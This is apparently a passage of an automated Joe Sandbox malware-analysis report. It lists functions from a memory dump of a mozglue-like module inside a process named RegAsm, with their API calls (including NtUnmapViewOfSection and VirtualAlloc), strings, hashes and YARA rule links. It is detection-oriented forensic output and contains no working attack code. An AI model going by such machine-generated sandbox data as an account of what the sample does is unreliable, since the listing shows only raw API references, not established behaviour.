?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5714E2
GetCurrentThreadId.KERNEL32 ref: 6C571546
InitializeConditionVariable.KERNEL32(?), ref: 6C5715BA
free.MOZGLUE(?), ref: 6C5716B4

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 85ea56f8c53a03026c87233bafbf5792b36490382de109a2c08570a259ec0417
Instruction ID: 393904545538a82dc3cf54e91d87aaa25256700d5c41e2cf28c5643dd7639c44
Opcode Fuzzy Hash: 85ea56f8c53a03026c87233bafbf5792b36490382de109a2c08570a259ec0417
Instruction Fuzzy Hash: 1861DC71A00750DBDB218F21CC90B9EB7B5BF89308F45961DE98A57611EB30E988CBA1

Function 6C56DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C56DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C56D38A,?), ref: 6C56DC6F
free.MOZGLUE(?,?,?,?,?,6C56D38A,?), ref: 6C56DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C56D38A,?), ref: 6C56DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C56D38A,?), ref: 6C56DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C56D38A,?), ref: 6C56DD4A

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 54595b9257dcd888ab51091f3dc8f49a21c21d46877e679d2a21691734ef6546
Instruction ID: f3a6d6d6b339d1c65660e98ccbf5491a9230085bdfb0d29148b4cff263f863fe
Opcode Fuzzy Hash: 54595b9257dcd888ab51091f3dc8f49a21c21d46877e679d2a21691734ef6546
Instruction Fuzzy Hash: D0418F75A00619CFDB00DF9ACC8099AB7F5FF89318B664969D945A7B20D731FC00CB90

Function 6C54F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C54F480

Part of subcall function 6C51F100: LoadLibraryW.KERNEL32(shell32,?,6C58D020), ref: 6C51F122
Part of subcall function 6C51F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C51F132

CloseHandle.KERNEL32(00000000), ref: 6C54F555

Part of subcall function 6C5214B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C521248,6C521248,?), ref: 6C5214C9
Part of subcall function 6C5214B0: memcpy.VCRUNTIME140(?,6C521248,00000000,?,6C521248,?), ref: 6C5214EF

Part of subcall function 6C51EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C51EEE3

CreateFileW.KERNEL32 ref: 6C54F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C54F523

Strings

\oleacc.dll, xrefs: 6C54F4CB

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 6537e9204499c37446330b2078c6c510685ff9945cf7e6bdd69fdd9ccb286a33
Instruction ID: 77f3d26f929ebcb94709ec2162c40cbdadff07077bc9a339476db492e80bd38a
Opcode Fuzzy Hash: 6537e9204499c37446330b2078c6c510685ff9945cf7e6bdd69fdd9ccb286a33
Instruction Fuzzy Hash: 06418C306087509FE720DF69CC84ADBB7F4AF85318F508B1CE59587651EB70E9498B92

Function 6C5774A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C577526
__Init_thread_footer.LIBCMT ref: 6C577566
__Init_thread_footer.LIBCMT ref: 6C577597

Strings

kernel32.dll, xrefs: 6C577557
UnmapViewOfFile2, xrefs: 6C577552

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: d88ac3508c40d9b134190f41fbd969c934964eea589d2bc0e00f58515c134235
Instruction ID: b755acaff9a2e436c84bdc43a3ac8fd86e65c9dc74c7e20aa7b0fce9a460847e
Opcode Fuzzy Hash: d88ac3508c40d9b134190f41fbd969c934964eea589d2bc0e00f58515c134235
Instruction Fuzzy Hash: 74214C31700581EBCE25CFE5EC04E8D3376FB863A4F1246A9F80247B40D770AC51C6A9

Function 6C57C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C57C0E9), ref: 6C57C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C57C437
FreeLibrary.KERNEL32(?,6C57C0E9), ref: 6C57C44C

Strings

NtQueryVirtualMemory, xrefs: 6C57C431
ntdll.dll, xrefs: 6C57C413

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: a7210e3e8c8517966cfbbbf0afe73b75bca55956881f020a3a39a17bc01d27c0
Instruction ID: c50255a456fe78bc492b6f788919591f6f6c9303cd0259362515a53f12b3ebb0
Opcode Fuzzy Hash: a7210e3e8c8517966cfbbbf0afe73b75bca55956881f020a3a39a17bc01d27c0
Instruction Fuzzy Hash: A2E0B6706113819BEF60BF72DD087157BFCA70A205F1B439ABA04A1601EBB0D4108B68

Function 6C5775B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C57748B,?), ref: 6C5775B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C5775D7
FreeLibrary.KERNEL32(?,6C57748B,?), ref: 6C5775EC

Strings

RtlNtStatusToDosError, xrefs: 6C5775D1
ntdll.dll, xrefs: 6C5775B3

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 58ef91566551b6a42d2f6f3021e042c7c257da2888d4dbfcefe0541f7e8d6aac
Instruction ID: 4be94cf70930026ad3ef61140df6d76584a8ea4103b3f125ae894188aa62a383
Opcode Fuzzy Hash: 58ef91566551b6a42d2f6f3021e042c7c257da2888d4dbfcefe0541f7e8d6aac
Instruction Fuzzy Hash: DAE0B6B1600381ABEF11AFA2EC487017AFCEB46358F1346A9B915D1601EBF08451CF18

Function 6C577600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C577592), ref: 6C577608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C577627
FreeLibrary.KERNEL32(?,6C577592), ref: 6C57763C

Strings

NtUnmapViewOfSection, xrefs: 6C577621
ntdll.dll, xrefs: 6C577603

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 64de4d74d8dbd24588b516ba6583df2c5842356eddfa387012e71129a8dad0f0
Instruction ID: eb27d8c467d3d59ad1581932344beb7fabf7a73e875252f26a1b39c1ec8bbe7d
Opcode Fuzzy Hash: 64de4d74d8dbd24588b516ba6583df2c5842356eddfa387012e71129a8dad0f0
Instruction Fuzzy Hash: 38E0B6B46003C1ABEF11AFA6EC087497ABCE71A399F034699F905D1700E7B084048F1C

Function 6C57BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C57BE49), ref: 6C57BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C57BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C57BE49), ref: 6C57BF38
RtlReAllocateHeap.NTDLL ref: 6C57BF83
RtlFreeHeap.NTDLL ref: 6C57BFA6

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 6450273ee9c6e021d3e601868aa8f9415c410c7170404f412f7a2680b2c1fe8c
Instruction ID: 54a1ed23ad833abf03a727662dd9be079bf969fa5691d0851f23b77ffb49c15d
Opcode Fuzzy Hash: 6450273ee9c6e021d3e601868aa8f9415c410c7170404f412f7a2680b2c1fe8c
Instruction Fuzzy Hash: 84519F71A002158FE724DF68CD80BAAB3B2FFC8714F294639D555A7B94D730F9868B90

Function 6C568E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C55B58D,?,?,?,?,?,?,?,6C58D734,?,?,?,6C58D734), ref: 6C568E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C55B58D,?,?,?,?,?,?,?,6C58D734,?,?,?,6C58D734), ref: 6C568EBF
free.MOZGLUE(?,?,?,?,6C55B58D,?,?,?,?,?,?,?,6C58D734,?,?,?), ref: 6C568F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C55B58D,?,?,?,?,?,?,?,6C58D734,?,?,?,6C58D734), ref: 6C568F46
free.MOZGLUE(?,?,?,?,6C55B58D,?,?,?,?,?,?,?,6C58D734,?,?,?), ref: 6C568F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C55B58D,?,?,?,?,?,?,?,6C58D734,?,?,?), ref: 6C568F8F

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 8be7e176e4d845aee0d02436d0f63e423c1ade57425b3fb04429e2c062243d43
Instruction ID: 6e7043d6c421a38a4e000898f1e34debd1b535393ee45dfa4fc74224efe58c26
Opcode Fuzzy Hash: 8be7e176e4d845aee0d02436d0f63e423c1ade57425b3fb04429e2c062243d43
Instruction Fuzzy Hash: 2F5190B1A012168FEB14CF64DC8076EB3B6BF46318F25056AD916ABB50E731F904CB92

Function 6C514DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C514E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C514E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C514EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C514F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C514F1E

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 50666e6cc211560e56c1248c3c9526a812329b882bbd5b62bc350dc10eabcd9a
Instruction ID: bc797e36747bf7c10cef8346210a1a298716399795b1f91726ae7ab7615f7817
Opcode Fuzzy Hash: 50666e6cc211560e56c1248c3c9526a812329b882bbd5b62bc350dc10eabcd9a
Instruction Fuzzy Hash: 8D41CA716087029FD705CF29C88495BBBE4BF89348F109A2DF86697B41DB30E958CB92

Function 6C521530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C52152B,?,?,?,?,6C521248,?), ref: 6C52159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C52152B,?,?,?,?,6C521248,?), ref: 6C5215BC
moz_xmalloc.MOZGLUE(-00000001,?,6C52152B,?,?,?,?,6C521248,?), ref: 6C5215E7
free.MOZGLUE(?,?,?,?,?,?,6C52152B,?,?,?,?,6C521248,?), ref: 6C521606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C52152B,?,?,?,?,6C521248,?), ref: 6C521637

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 42aeb39cfe3f3fad4739bea13f764ba5482a97e5766a940b619ad10dd64f0ed4
Instruction ID: 2d52e3c43653f9cc81ec213b405b4d2ae641c0abc7a2aa0421a747063506e0b3
Opcode Fuzzy Hash: 42aeb39cfe3f3fad4739bea13f764ba5482a97e5766a940b619ad10dd64f0ed4
Instruction Fuzzy Hash: 1E31C272A001148BCB18CE78DC5086F77E9EB813647290B6DE823DBBD5EB35ED158B91

Function 6C57AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C58E330,?,6C53C059), ref: 6C57AD9D

Part of subcall function 6C52CA10: malloc.MOZGLUE(?), ref: 6C52CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C58E330,?,6C53C059), ref: 6C57ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C58E330,?,6C53C059), ref: 6C57AE01
GetLastError.KERNEL32(?,00000000,?,?,6C58E330,?,6C53C059), ref: 6C57AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C58E330,?,6C53C059), ref: 6C57AE3D

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 933901c79ba6b272ac780863eed4b87a12ea542ff78b1162ec86fb57914953a3
Instruction ID: 7007b81d0e64a34e33b7f465254eca8af011b67a43ad2fa21802b99947249910
Opcode Fuzzy Hash: 933901c79ba6b272ac780863eed4b87a12ea542ff78b1162ec86fb57914953a3
Instruction Fuzzy Hash: 57315EB1A012159FDB14DF798C44AABBBF8EF88614F158829E84AD7740E734E844CBA0

Function 6C575EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C58DCA0,?,?,?,6C54E8B5,00000000), ref: 6C575F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C54E8B5,00000000), ref: 6C575F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C54E8B5,00000000), ref: 6C575F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C54E8B5,00000000), ref: 6C575F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C54E8B5,00000000), ref: 6C575FD6

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: be34e02d5a3b8cae21004c29350e8427f33dea56ae6f1546fefdc73b97d439cc
Instruction ID: 04f70db3c9cbcb04d6b813de11c5cdcedf89461f563bf434e6e8a3928c79828e
Opcode Fuzzy Hash: be34e02d5a3b8cae21004c29350e8427f33dea56ae6f1546fefdc73b97d439cc
Instruction Fuzzy Hash: 37312C743006408FD720DF29CC98E2AB7F5FF89319BA54558E5568BBA5D731EC81CB90

Function 6C51B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C51B532
moz_xmalloc.MOZGLUE(?), ref: 6C51B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C51B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C51B57E
free.MOZGLUE(00000000), ref: 6C51B58F

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: a1727cd71a21ae8b6febb59fae5bc295510a67a37c8eda16c83e4dc84d65ec7e
Instruction ID: 4c1c961cd5ad321ea805bbfa785709aaaaaae687a5dba1206502b7f5fa8c6f8e
Opcode Fuzzy Hash: a1727cd71a21ae8b6febb59fae5bc295510a67a37c8eda16c83e4dc84d65ec7e
Instruction Fuzzy Hash: D521E6B1A042059BEB009F65CC44B6ABBB9FF81304F254169E918DB742F775DD11C7A1

Function 6C576E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C576E78

Part of subcall function 6C576A10: InitializeCriticalSection.KERNEL32(6C59F618), ref: 6C576A68
Part of subcall function 6C576A10: GetCurrentProcess.KERNEL32 ref: 6C576A7D
Part of subcall function 6C576A10: GetCurrentProcess.KERNEL32 ref: 6C576AA1
Part of subcall function 6C576A10: EnterCriticalSection.KERNEL32(6C59F618), ref: 6C576AAE
Part of subcall function 6C576A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C576AE1
Part of subcall function 6C576A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C576B15
Part of subcall function 6C576A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C576B65
Part of subcall function 6C576A10: LeaveCriticalSection.KERNEL32(6C59F618,?,?), ref: 6C576B83

MozFormatCodeAddress.MOZGLUE ref: 6C576EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C576EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C576EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C576EFF

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 4b31940220bb07c4e9eac586ca1d2cde0712e945a150f1d87e1165db2a625e67
Instruction ID: 0e73851ceebcdfdf458c9c648c3ad66467ca5b2b7115ac508072606522ac73ac
Opcode Fuzzy Hash: 4b31940220bb07c4e9eac586ca1d2cde0712e945a150f1d87e1165db2a625e67
Instruction Fuzzy Hash: 0C21B271A0435A8FDF14DF29DC84A9E77F5EF84308F054079E80997240EB709A48CFA2

Function 6C550D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C513DEF), ref: 6C550D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C513DEF), ref: 6C550D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C513DEF), ref: 6C550DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C550D97, 6C550DBE
<jemalloc>, xrefs: 6C550D92, 6C550DB9

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: d006b57cb918b51b25af8171cfdbb1c62669aa269dee0cf632f58bea53b942ea
